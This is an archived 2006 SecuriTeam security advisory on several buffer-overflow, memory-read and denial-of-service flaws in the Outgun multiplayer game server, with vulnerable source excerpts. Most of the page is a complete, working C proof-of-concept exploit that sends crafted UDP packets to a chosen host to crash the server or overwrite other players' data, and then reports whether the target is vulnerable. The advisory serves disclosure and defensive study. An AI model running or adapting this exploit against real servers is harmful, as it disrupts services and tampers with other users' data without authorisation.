Ethical Hacking Learn to find vulnerabilities before the bad guys do! Gain real world hands on hacking experience in our state of the art hacking lab. Course designed and taught by expert instructors with years of penetration testing experience. 12 student maximum in every class. Certification attempt included in every package. | Computer Forensics Training at InfoSec Institute Gain the in-demand skills of a certified computer examiner, learn to recover trace data left behind by fraud, theft, and cybercrime perpetrators. Discover the source of computer crime and abuse at your organization so that it never happens again. All of our class sizes are guaranteed to be 12 students or less to facilitate one-on-one interaction with one of our expert instructors. |

| Subject: | [NEWS] Outgun Multiple Vulnerabilities (Multiple DoS, Multiple Buffer Overflows) |
|---|---|
| Date: | 14 May 2006 18:13:16 +0200 |
The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com - - promotion The SecuriTeam alerts list - Free, Accurate, Independent. Get your security news from a reliable source. http://www.securiteam.com/mailinglist.html - - - - - - - - - Outgun Multiple Vulnerabilities (Multiple DoS, Multiple Buffer Overflows) ------------------------------------------------------------------------ SUMMARY " <http://koti.mbnet.fi/outgun/> Outgun is a simple multiplayer capture the flag game in 2D top-view, to be played on a network" Improper handling of sockets allows attackers to execute arbitrary code, change players information or cause exceptions in Outgun. DETAILS Vulnerable Systems: * Outgun 1.0.3 bot 2 and prior data_file_request command buffer-overflow: The game supports the downloading of map files directly from the server in which the clients want to play. The request for the downloading of the map is composed by the command data_file_request and two text strings for the type and name of the requested file. The buffers in which the server stores these two strings have a size of 64 and 256 bytes and the function readString doesn't check the length of the destination buffer during the copying.
From src/servnet.cpp:
void ServerNetworking::incoming_client_data(int id, char *data, int
length) {
...
else if (code == data_file_request) {
char ftype[64];
char fname[256];
readString(msg, count, ftype);
readString(msg, count, fname);
Exception with big data:
The leetnet functions used in the game for handling the packets
automatically raise an exception (throw) if a data bigger than 512
(DATA_BUF_SIZE) bytes is received.
The effect is the immediate interruption of the game.
From src/leetnet/rudp.cpp:
class data_ci : public data_c {
public:
//allocated length, used length
int alen, ulen;
//data buffer
char buf[DATA_BUF_SIZE];
//extend buffer to fit additional len
void extend(int len) {
if (len + ulen > DATA_BUF_SIZE) {
throw 66677;
}
...
Invalid memory access in messages handling:
The leetnet functions support a maximum amount of 64 messages in each
incoming packet but no checks are made for avoiding the reading of the
unallocated memory after the packet if an attacker uses wrong message
sizes.
From src/leetnet/rudp.cpp:
virtual char* process_incoming_packet(int *size, bool *special) {
...
NLulong msgid;
NLshort msgsize;
for (i=0; i<nreliable; i++) { // read all reliable msgs
readLong(udp_data, count, msgid); //id
readShort(udp_data, count, msgsize); //size
//if (debug) printf("(%i,%i)", msgid, msgsize);
// station will process the incoming reliable message
process_incoming_message(msgid, (udp_data + count), msgsize);
//advance count since we didn't "readBlock"
count += msgsize;
//p->add_reliable(msgid, (udp_data + count), msgsize); //data
}
...
Buffer-overflow on a global variable in changeRegistration:
changeRegistration is the function for handling the changing of the
registration informations of the clients.
This function uses strcpy for copying the client's token in a buffer of
64 bytes located in the global array of the clients informations.
During my tests (limited by the problem described in bug B) was not
possible to exploit this bug for crashing the server but I was only
able to modify some of the informations of the other players in the
server.
From src/servernet.cpp:
bool Server::changeRegistration(int id, const string& token) {
const int intoken = atoi(token.c_str());
if (intoken == client[id].intoken)
return false;
// v0.4.9 FIX : IF HAD previous token have/valid, then FLUSH his stats
network.client_report_status(id);
strcpy(client[id].token, token.c_str());
...
Exploit:
winerr.h can be found at:
<http://www.securiteam.com/unixfocus/5UP0I1FC0Y.html>
http://www.securiteam.com/unixfocus/5UP0I1FC0Y.html
/*
by Luigi Auriemma
*/
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <time.h>
#ifdef WIN32
#include <winsock.h>
#include "winerr.h"
#define close closesocket
#define sleep Sleep
#define ONESEC 1000
#else
#include <unistd.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <sys/param.h>
#include <arpa/inet.h>
#include <netinet/in.h>
#include <netdb.h>
#define stristr strcasestr
#define ONESEC 1
#endif
#define VER "0.1"
#define PORT 25000
#define BUFFSZ 4096
#define BOFSZ 400 // for exploiting ftype
#define DATA_BUF_SIZE 512 // if (len + ulen > DATA_BUF_SIZE)
throw 66677;
#define CHREGSZ 510 // not exploitable, it's here only
for testing
#define GET32(x) ntohl(*(uint32_t *)(x))
#define PUT8(x,y) *x++ = y;
#define PUT16(x,y) *(uint16_t *)x = htons(y); \
x += 2;
#define PUT32(x,y) *(uint32_t *)x = htonl(y); \
x += 4;
#define PUTSTR(x,y) x += mycpy(x, y);
#define PUTMEM(x,y,z) memcpy(x, y, z); \
x += z;
#define GAME_STRING "Outgun"
#define GAME_PROTOCOL "1.0"
#define LEETNET_VERSION 1
#define MAX_INCOMING_MESSAGES 64
void delimit(u_char *data);
int mycpy(u_char *dst, u_char *src);
int send_recv(int sd, u_char *in, int insz, u_char *out, int outsz, int
err);
int create_rand_string(u_char *data, int len, u_int *seed);
int timeout(int sock, int sec);
u_int resolv(char *host);
void std_err(void);
struct sockaddr_in peer;
enum Network_data_code {
data_name_update,
data_text_message,
data_first_packet,
data_frags_update,
data_flag_update,
data_rocket_fire,
data_old_rocket_visible,
data_rocket_delete,
data_power_collision,
data_score_update,
data_sound,
data_pup_visible,
data_pup_picked,
data_pup_timer,
data_weapon_change,
data_map_change,
data_world_reset,
data_gameover_show,
data_start_game,
data_deathbringer,
data_file_request,
data_file_download,
data_file_ack,
data_registration_token,
data_registration_response,
data_tournament_participation,
data_crap_update,
data_map_time,
data_fire_on,
data_fire_off,
data_suicide,
data_drop_flag,
data_stop_drop_flag,
data_change_team_on,
data_change_team_off,
data_map_exit_on,
data_map_exit_off,
data_client_ready,
data_map_list,
data_map_votes_update,
data_map_vote,
data_stats,
data_team_stats,
data_capture,
data_kill,
data_flag_take,
data_flag_return,
data_flag_drop,
data_players_present,
data_new_player,
data_spawn,
data_movements_shots,
data_team_movements_shots,
data_fav_colors,
data_name_authorization_request,
data_server_settings,
data_reset_map_list,
data_stats_ready,
data_player_left,
data_team_change,
data_5_min_left,
data_1_min_left,
data_30_s_left,
data_time_out,
data_extra_time_out,
data_normal_time_out,
data_too_much_talk,
data_mute_notification,
data_tournament_update_failed,
data_player_mute,
data_player_kick,
data_disconnecting,
data_idlekick_warning,
data_map_change_info,
data_broken_map,
data_reserved_range_first, // reserve some codes for extensions that
are otherwise protocol compatible
data_reserved_range_last = data_reserved_range_first + 20, // make
sure you don't use more!
data_return_to_reserved_range_start_hack = data_reserved_range_first -
1,
data_current_map
// insert extensions here
};
int main(int argc, char *argv[]) {
int sd,
attack,
len;
u_int seed,
pckid,
smsgid;
u_short port = PORT;
u_char buff[BUFFSZ],
bof[DATA_BUF_SIZE + 1],
*p,
*b;
#ifdef WIN32
WSADATA wsadata;
WSAStartup(MAKEWORD(1,0), &wsadata);
#endif
setbuf(stdout, NULL);
fputs("\n"
"Outgun <= 1.0.3 (bot 2) multiple vulnerabilities " VER "\n"
"by Luigi Auriemma\n"
"e-mail: aluigi@autistici.org\n"
"web: aluigi.org\n"
"\n", stdout);
if(argc < 3) {
printf("\n"
"Usage: %s <attack> <host> [port(%hu)]\n"
"\n"
"Attacks:\n"
" 1 = data_file_request command buffer-overflow\n"
" 2 = big data exception (throw 66677)\n"
" 3 = invalid memory access in messages handling\n"
" 4 = changeRegistration, strcpy() on a global var of 64
bytes\n"
"\n", argv[0], port);
exit(1);
}
attack = atoi(argv[1]);
if(argc > 3) port = atoi(argv[3]);
peer.sin_addr.s_addr = resolv(argv[2]);
peer.sin_port = htons(port);
peer.sin_family = AF_INET;
printf("- target %s : %hu\n",
inet_ntoa(peer.sin_addr), port);
seed = time(NULL);
printf("- request info:\n");
p = buff;
PUT32(p, 0); // packid
PUT32(p, 200); // smsgid = 200
PUT16(p, seed); // clientside gamespy entry
(merged here)
sd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
if(sd < 0) std_err();
len = send_recv(sd, buff, p - buff, buff, sizeof(buff), 1);
close(sd);
printf(" %s\n", buff + 10);
sd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
if(sd < 0) std_err();
printf("- join server\n");
p = buff;
PUT32(p, 0); // packid
PUT32(p, 1); // smsgid = hello
PUT32(p, LEETNET_VERSION); // LEETNET_VERSION
b = p; p += 4;
PUTSTR(p, GAME_STRING);
PUTSTR(p, GAME_PROTOCOL);
create_rand_string(bof, 32, &seed);
PUTSTR(p, bof);
PUTSTR(p, ""); // m_serverPassword (not
implemented in this PoC)
PUTSTR(p, ""); // m_playerPassword (not
implemented in this PoC)
PUT32(b, (p - b) - 4);
len = send_recv(sd, buff, p - buff, buff, sizeof(buff), 1);
pckid = GET32(buff);
smsgid = GET32(buff + 4);
if(!pckid && (smsgid == 201)) {
printf("\nError: server is full\n\n");
exit(1);
}
/*
peer.sin_port = *(uint16_t *)(buff + 10);
len = send_recv(sd, "", 0, NULL, 0, 0);
peer.sin_port = htons(port);
*/
// NLulong packet_id
// NLulong acked packet (latest received
by remote)
// NLbyte number of reliable messages
// for each reliable message:
// NLulong message id
// NLshort message size
// NLbyte[message size] the reliable message data
// (FIX: NLshort unreliable data size ---
inferido do packet size!!!)
// NLbyte[unreliable data size] all the unreliable data glued
in a big chunk
printf("- send malicious data\n");
p = buff;
PUT32(p, 1); // packet_id
PUT32(p, pckid); // acked packet
if(attack == 3) {
PUT8(p, MAX_INCOMING_MESSAGES); // number of messages
} else {
PUT8(p, 1); // number of messages
}
PUT32(p, 1); // first message (message id)
b = p; p += 2; // message size
if(attack == 1) {
PUT8(p, data_file_request);
memset(bof, 'a', BOFSZ);
bof[BOFSZ] = 0;
PUTSTR(p, bof); // ftype
PUTSTR(p, "fname"); // fname
} else if(attack == 2) {
PUT8(p, data_name_update); // any command is the same
memset(p, 0xff, DATA_BUF_SIZE);
p += DATA_BUF_SIZE;
} else if(attack == 3) {
PUT8(p, data_name_update); // any command is the same
} else if(attack == 4) {
PUT8(p, data_registration_token);
memset(bof, 'z', CHREGSZ);
bof[CHREGSZ] = 0;
PUTSTR(p, bof);
}
if(attack == 3) {
printf("- note: if the server doesn't crash, retry again\n");
PUT16(b, -1);
} else {
PUT16(b, (p - b) - 2);
}
len = send_recv(sd, buff, p - buff, buff, sizeof(buff), 0);
close(sd);
printf("- check server:\n");
p = buff;
PUT32(p, 0);
PUT32(p, 200);
PUT16(p, seed);
sd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
if(sd < 0) std_err();
if(send_recv(sd, buff, p - buff, buff, sizeof(buff), 0) < 0 ) {
printf("\n Server IS vulnerable!!!\n\n");
} else {
printf("\n Server doesn't seem vulnerable\n\n");
}
close(sd);
return(0);
}
void delimit(u_char *data) {
while(*data && (*data != '\n') && (*data != '\r')) data++;
*data = 0;
}
int mycpy(u_char *dst, u_char *src) {
u_char *p;
for(p = dst; *src; src++, p++) {
*p = *src;
}
*p++ = 0;
return(p - dst);
}
int send_recv(int sd, u_char *in, int insz, u_char *out, int outsz, int
err) {
int retry,
len;
if(in && !out) {
if(sendto(sd, in, insz, 0, (struct sockaddr *)&peer, sizeof(peer))
< 0) std_err();
return(0);
} else if(in) {
for(retry = 3; retry; retry--) {
if(sendto(sd, in, insz, 0, (struct sockaddr *)&peer,
sizeof(peer))
< 0) std_err();
if(!timeout(sd, 1)) break;
}
if(!retry) {
if(!err) return(-1);
fputs("\nError: socket timeout, no reply received\n\n",
stdout);
exit(1);
}
} else {
if(timeout(sd, 3) < 0) return(-1);
}
len = recvfrom(sd, out, outsz, 0, NULL, NULL);
if(len < 0) std_err();
return(len);
}
int create_rand_string(u_char *data, int len, u_int *seed) {
u_int rnd;
u_char *p;
const static u_char table[] =
"0123456789"
"ABCDEFGHIJKLMNOPQRSTUVWXYZ"
"abcdefghijklmnopqrstuvwxyz";
rnd = *seed;
p = data;
len = rnd % len;
if(len < 3) len = 3;
while(--len) {
rnd = (rnd * 0x343FD) + 0x269EC3;
rnd >>= 3;
*p++ = table[rnd % (sizeof(table) - 1)];
}
*p++ = 0;
*seed = rnd;
return(p - data);
}
int timeout(int sock, int sec) {
struct timeval tout;
fd_set fd_read;
int err;
tout.tv_sec = sec;
tout.tv_usec = 0;
FD_ZERO(&fd_read);
FD_SET(sock, &fd_read);
err = select(sock + 1, &fd_read, NULL, NULL, &tout);
if(err < 0) std_err();
if(!err) return(-1);
return(0);
}
u_int resolv(char *host) {
struct hostent *hp;
u_int host_ip;
host_ip = inet_addr(host);
if(host_ip == INADDR_NONE) {
hp = gethostbyname(host);
if(!hp) {
printf("\nError: Unable to resolv hostname (%s)\n", host);
exit(1);
} else host_ip = *(u_int *)(hp->h_addr);
}
return(host_ip);
}
#ifndef WIN32
void std_err(void) {
perror("\nError");
exit(1);
}
#endif
ADDITIONAL INFORMATION
The information has been provided by <mailto:aluigi@autistici.org> Luigi
Auriemma.
The original article can be found at:
<http://aluigi.altervista.org/adv/outgunx-adv.txt>
http://aluigi.altervista.org/adv/outgunx-adv.txt
========================================
This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to:
list-unsubscribe@securiteam.com
In order to subscribe to the mailing list, simply forward this email to:
list-subscribe@securiteam.com
====================
====================
DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any
kind.
In no event shall we be liable for any damages whatsoever including direct,
indirect, incidental, consequential, loss of business profits or special
damages.
| <Prev in Thread] | Current Thread | [Next in Thread> |
|---|---|---|
| ||
| Previous by Date: | [NEWS] Raydium Multiple Vulnerabilities (Multiple Buffer Overflows, Format String, DoS), SecuriTeam |
|---|---|
| Next by Date: | [EXPL] Internet Explorer CSS Attribute DoS, SecuriTeam |
| Previous by Thread: | [NEWS] Raydium Multiple Vulnerabilities (Multiple Buffer Overflows, Format String, DoS), SecuriTeam |
| Next by Thread: | [EXPL] Internet Explorer CSS Attribute DoS, SecuriTeam |
| Indexes: | [Date] [Thread] [Top] [All Lists] |